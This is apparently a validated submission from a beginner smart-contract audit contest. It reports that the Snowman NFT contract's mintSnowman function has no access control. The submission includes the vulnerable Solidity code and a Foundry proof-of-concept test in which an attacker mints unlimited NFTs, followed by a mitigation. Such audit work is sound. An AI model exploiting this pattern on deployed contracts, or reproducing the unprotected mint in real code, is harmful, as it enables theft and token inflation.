Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Missing Access Control in `mintSnowman` function allows anyone to mint NFTs bypassing airdrop mechanism

Description:

The Snowman::mintSnowman function lacks access control, allowing anyone to mint unlimited NFTs without needing to stake any SNOW tokens or go through the intended airdrop process.

The follow block of code is responsible for the issue.

function mintSnowman(address receiver, uint256 amount) external {
@> // @audit - There are no access controls
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Any external actor can directly call the mintSnowman function without restrictions

  • The function is publicly accessible and requires no prior authorization or token ownership

  • Attackers will discover this vulnerability through contract interaction or code review

  • Malicious actors will exploit this immediately upon contract deployment to mint free NFTs

Impact:

  • Complete bypass of intended airdrop logic, enabling unlimited NFT minting.

  • Attacker can drain contract resources by minting huge quantities of NFTs

  • Attacker can mainpulatie Token Counter

Proof of Concept:

Place the following into TestSnowman.t.sol

address attacker = makeAddr("attacker");
...
function testAnyoneCanMintUnlimitedNFTs()public{
uint256 initialSupply = nft.getTokenCounter();
console2.log("Initial Supply: ", initialSupply);
vm.startPrank(attacker);
// mint 100 NFT for attacker
nft.mintSnowman(attacker, 100);
assertEq(nft.balanceOf(attacker), 100);
assertEq(nft.getTokenCounter(), initialSupply + 100);
// Attacker can mint NFTs for other addresses
nft.mintSnowman(bob, 50);
assertEq(nft.balanceOf(bob), 50);
assertEq(nft.getTokenCounter(), initialSupply + 150);
vm.stopPrank();
console2.log("After attack, TokenCounter: ", nft.getTokenCounter());
console2.log("Attacker minted 100 NFTs to self and 50 to random user");
console2.log("Total supply increased by 150 without any authorization");
}

Recommended Mitigation:

Add access control logic in Snowman.sol

+ mapping(address => bool) public authorizedMinters;
+ modifier onlyAuthorizedMinter() {
+ require(authorizedMinters[msg.sender], "Not authorized to mint");
+ _;
+ }
+ function mintSnowman(address receiver, uint256 amount) external onlyAuthorizedMinter {
+ // logic
+ }
Updates

Lead Judging Commences

yeahchibyke Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted NFT mint function

The mint function of the Snowman contract is unprotected. Hence, anyone can call it and mint NFTs without necessarily partaking in the airdrop.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.